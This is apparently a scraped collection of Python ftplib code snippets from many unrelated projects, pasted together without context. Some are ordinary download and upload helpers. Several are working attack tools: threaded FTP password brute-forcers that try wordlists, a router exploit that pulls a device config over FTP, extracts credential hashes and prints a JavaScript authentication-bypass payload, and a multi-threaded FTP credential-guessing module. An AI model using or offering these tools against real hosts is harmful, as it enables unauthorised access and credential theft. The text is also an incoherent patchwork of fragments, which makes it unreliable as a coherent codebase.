def _connect(self):
self.__conn = ftplib.FTP()
self.__conn.set_pasv(True)
self.__conn.connect(host=self.url.host, port=self.url.port or 21, timeout=self.TIMEOUT)
if self.url.user:
self.__conn.login(user=self.url.user, passwd=self.url.password or '')
self.__conn.voidcmd('TYPE I')
if transfert.conf.__verbosity__:
self.__conn.set_debuglevel(2)
if self.isdir():
self.__conn.cwd(self.url.path)
else:
self.__conn.cwd('/'.join(self.url.path.split('/')[:-1]))
python类FTP的实例源码
def downloadFullDataset(cls, out_file=None, use_file=None):
'''
Download GLDAS data
@param out_file: Output filename for parsed data
@param use_file: Directory of downloaded data. If None, data will be downloaded.
@return Absolute path of parsed data
'''
# No post processing for this data is necessary. If local data is
# specified, just set its location.
if use_file != None:
print('Setting data location for local data')
return os.path.abspath(use_file)
# If no local data, download data from server
print("Downloading GLDAS Land Mass Data")
ftp = FTP("podaac-ftp.jpl.nasa.gov")
ftp.login()
ftp.cwd('allData/tellus/L3/gldas_monthly/netcdf/')
dir_list = list(ftp.nlst(''))
file_list = [file for file in dir_list if re.search('.nc$', file)]
if len(file_list) > 1:
raise ValueError('Too many files found in GLDAS directory')
if out_file == None:
out_file = file_list[0]
ftp.retrbinary('RETR ' + file_list[0], open(''+out_file, 'wb').write)
cls.setDataLocation('gldas', os.path.abspath(file_list[0]))
def open_file(self, url):
"""Use local file or FTP depending on form of URL."""
if not isinstance(url, str):
raise IOError, ('file error', 'proxy support for file protocol currently not implemented')
if url[:2] == '//' and url[2:3] != '/' and url[2:12].lower() != 'localhost/':
return self.open_ftp(url)
else:
return self.open_local_file(url)
def ftperrors():
"""Return the set of errors raised by the FTP class."""
global _ftperrors
if _ftperrors is None:
import ftplib
_ftperrors = ftplib.all_errors
return _ftperrors
def init(self):
import ftplib
self.busy = 0
self.ftp = ftplib.FTP()
self.ftp.connect(self.host, self.port, self.timeout)
self.ftp.login(self.user, self.passwd)
for dir in self.dirs:
self.ftp.cwd(dir)
def ftp(self,user,pass_):
try:
ftp=ftplib.FTP()
ftp.connect(self.ip,self.port)
ftp.login(user,pass_)
if user == 'ftp':return "anonymous"
return "username:%s,password:%s"%(user,pass_)
except Exception,e:
pass
def send_ftp(file_name=None):
'''Sends the file_name (which should be a closed file object) to the server for storage.'''
if file_name == None: file_name = STANDARD_FILE_NAME
f = open(file_name, 'rb')
server = ftplib.FTP(FTP_SERVER, USER_NAME, PASSWORD)
server.storbinary("STOR " + STANDARD_FILE_NAME, f)
f.close()
server.quit()
def fetch(source,
dates,
stns,
rinex_type='obs',
template_map=TEMPLATE_MAP,
local_path='./',
local_template='{stn}{date:%j}0.{date:%y}{suffix}'):
"""
???
"""
server, template, suffix = TEMPLATE_MAP[source][rinex_type]
fname_map = defaultdict(dict)
logger.info('opening connection to {}'.format(server))
with closing(FTP(server)) as ftp:
ftp.login()
for date in dates:
for stn in stns:
remote_fname = template.format(date=date, stn=stn) + suffix
local_fname = os.path.join(local_path.format(date=date, stn=stn, suffix=suffix),
local_template.format(date=date, stn=stn, suffix=suffix))
logger.info('fetching {} and storing to {}'.format(remote_fname,
local_fname))
touch_path(os.path.dirname(local_fname))
with open(local_fname, 'w') as fid:
try:
ftp.retrbinary('RETR {}'.format(remote_fname),
fid.write)
fname_map[date][stn] = local_fname
except Exception as e:
logger.warning('could not fetch {} ({}) --- skipping'.format(remote_fname,
e))
os.remove(local_fname)
continue
for date in sorted(fname_map):
for stn in sorted(fname_map[date]):
fname_map[date][stn] = decompress(fname_map[date][stn])
return fname_map
def upload(self, project_name, filename, dst_filename = None):
if dst_filename == None:
dst_filename = os.path.split(filename)[-1]
ftp = FTP()
ftp.connect(self.server_host, self.ftp_port)
ftp.login()
filename_to_write_to = os.path.join(project_name, dst_filename)
ftp.storbinary('STOR ' + filename_to_write_to, open(filename, 'rb'))
ftp.close()
return "uploaded"
def upload(self, project_name, filename, dst_filename = None):
if dst_filename == None:
dst_filename = os.path.split(filename)[-1]
ftp = FTP()
ftp.connect(self.server_host, self.ftp_port)
ftp.login()
filename_to_write_to = os.path.join(project_name, dst_filename)
ftp.storbinary('STOR ' + filename_to_write_to, open(filename, 'rb'))
ftp.close()
return "uploaded"
def _connect(self):
try:
if not self.ftp:
self.ftp = FTP()
self.ftp.connect(self.config['host'], self.config['ftp']['port'], self.config['ftp']['timeout'])
self.ftp.login(self.config['ftp']['user'], self.config['ftp']['password'])
except Exception, e:
raise AveException({'message': 'Could not login FTP server: %s' % (str(e))})
def _connect(self):
try:
if not self.ftp:
self.ftp = FTP()
self.ftp.connect(self.config['host'], self.config['ftp']['port'], self.config['ftp']['timeout'])
self.ftp.login(self.config['ftp']['user'], self.config['ftp']['password'])
except Exception, e:
raise AveException({'message': 'Could not login FTP server: %s' % (str(e))})
def run(self):
value = getword()
try:
print "-"*12
print "User:",user[:-1],"Password:",value
ftp = FTP(ip)
ftp.login(user[:-1], value)
ftp.retrlines('LIST')
print "\t\nLogin successful:",user, value
ftp.quit()
work.join()
sys.exit(2)
except (ftplib.all_errors), msg:
#print "An error occurred:", msg
pass
def BruteForce(word) :
print "[?]Trying :",word
file.write("\n[?]Trying :"+word)
try:
ftp = FTP(hostname)
ftp.login(user, word)
ftp.retrlines('list')
ftp.quit()
print "\n\t[!] Login Success ! "
print "\t[!] Username : ",user, ""
print "\t[!] Password : ",word, ""
print "\t[!] Hostname : ",hostname, ""
print "\t[!] Log all has been saved to",log,"\n"
file.write("\n\n\t[!] Login Success ! ")
file.write("\n\t[!] Username : "+user )
file.write("\n\t[!] Password : "+word )
file.write("\n\t[!] Hostname : "+hostname)
file.write("\n\t[!] Log all has been saved to "+log)
sys.exit(1)
except Exception, e:
#print "[-] Failed"
pass
except KeyboardInterrupt:
print "\n[-] Aborting...\n"
file.write("\n[-] Aborting...\n")
sys.exit(1)
def run(self):
value, user = getword()
try:
print "-"*12
print "User:",user,"Password:",value
ftp = FTP(sys.argv[1])
ftp.login(user, value)
ftp.retrlines('LIST')
print "\t\nLogin successful:",value, user
ftp.quit()
work.join()
sys.exit(2)
except (ftplib.all_errors), msg:
#print "An error occurred:", msg
pass
def run(self):
value = getword()
try:
print "-"*12
print "User:",user[:-1],"Password:",value
ftp = FTP(ipaddr[0])
ftp.login(user[:-1], value)
ftp.retrlines('LIST')
print "\t\nLogin successful:",user, value
ftp.quit()
work.join()
sys.exit(2)
except (ftplib.all_errors), msg:
print "An error occurred:", msg
pass
def server(self, server):
"""Set the server for the ftp stats. Has to be a link
example:
[p]ftpset server ftp.yoursite.com
DON'T ADD FTP://!"""
self.settings['ftp_server'] = server
dataIO.save_json("data/ftpstats/settings.json", self.settings)
await self.bot.say("Done!")
def run(self):
response = self.telnet_login()
if 'Login not allowed' in response and self.is_port_opened(self.ftp_port):
print_error("Telnet: {}:{} Authentication through Telnet not allowed".format(self.target, self.telnet_port))
print_status("FTP and HTTP service active")
creds = self.ftp_get_config()
if creds:
print_status("Use javascript console (through developer tools) to bypass authentication:")
payload = ('var user = "{}"\n'
'var hash2 = "{}";\n'
'var HA2 = MD5("GET" + ":" + uri);\n'
'document.getElementById("user").value = user;\n'
'document.getElementById("hidepw").value = MD5(hash2 + ":" + nonce +":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);\n'
'document.authform.submit();\n')
for user in creds:
print_success("User: {} Role: {}".format(user[0], user[2]))
print_info(payload.format(user[0], user[3]))
elif '}=>' in response:
print_success("Successful authentication through Telnet service")
tn = telnetlib.Telnet(self.target, int(self.telnet_port), timeout=10)
tn.read_until(': ')
tn.write(self.remote_user + '\r\n')
tn.read_until(': ')
tn.write(self.remote_pass + '\r\n')
tn.interact()
else:
print_error("Exploit failed - target seems to be not vulnerable")
def ftp_get_config(self):
print_status("FTP {}:{} Trying FTP authentication with Username: {} and Password: {}".format(self.target,
self.ftp_port,
self.remote_user,
self.remote_pass))
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.ftp_port), timeout=10)
ftp.login(self.remote_user, self.remote_pass)
print_success("FTP {}:{} Authentication successful".format(self.target, self.ftp_port))
if self.config_path in ftp.nlst():
print_status("FTP {}:{} Downloading: {}".format(self.target, self.ftp_port, self.config_path))
r = StringIO()
ftp.retrbinary('RETR {}'.format(self.config_path), r.write)
ftp.close()
data = r.getvalue()
creds = re.findall(r'add name=(.*) password=(.*) role=(.*) hash2=(.*) crypt=(.*)\r\n', data)
if creds:
print_success("Found encrypted credentials:")
print_table(('Name', 'Password', 'Role', 'Hash2', 'Crypt'), *creds)
return creds
else:
print_error("Exploit failed - could not find any credentials")
except ftplib.all_errors:
print_error("Exploit failed - FTP error")
return None
def attack(self):
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.port), timeout=10)
except (socket.error, socket.timeout):
print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ftp.close()
return
except Exception:
pass
ftp.close()
if self.usernames.startswith('file://'):
usernames = open(self.usernames[7:], 'r')
else:
usernames = [self.usernames]
if self.passwords.startswith('file://'):
passwords = open(self.passwords[7:], 'r')
else:
passwords = [self.passwords]
collection = LockedIterator(itertools.product(usernames, passwords))
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")